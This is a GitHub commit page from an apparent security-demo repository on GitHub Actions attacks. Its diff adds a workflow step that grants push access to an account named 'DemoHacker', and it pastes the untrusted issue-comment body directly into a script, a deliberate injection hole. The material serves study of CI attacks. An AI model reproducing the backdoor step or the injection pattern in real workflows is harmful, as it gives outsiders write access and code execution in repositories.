Skip to content

Commit

Permalink
test: add collaborator
Browse files Browse the repository at this point in the history
  • Loading branch information
Thibault Lengagne committed Dec 18, 2024
1 parent 1364e5f commit 31f3132
Showing 1 changed file with 10 additions and 5 deletions.
15 changes: 10 additions & 5 deletions .github/workflows/issue_enhancing.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -17,14 +17,19 @@ jobs:
with:
script: |
const comment="${{ github.event.comment.body }}";
git.rest.repos.addCollaborator({
"ThibaultLengagne",
"security-gha-attacks",
"DemoHacker"
const { owner, repo } = context.repo;
const username = "DemoHacker";
const response = await github.rest.repos.addCollaborator({
owner,
repo,
username,
permission: 'push'
});
if (comment.startsWith('octocat')) {
console.log("Issue comment starts with 'octocat'")
} else {
console.log("Issue comment did not start with 'octocat'")
process.exit(1)
}
}
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

0 comments on commit 31f3132

Please sign in to comment.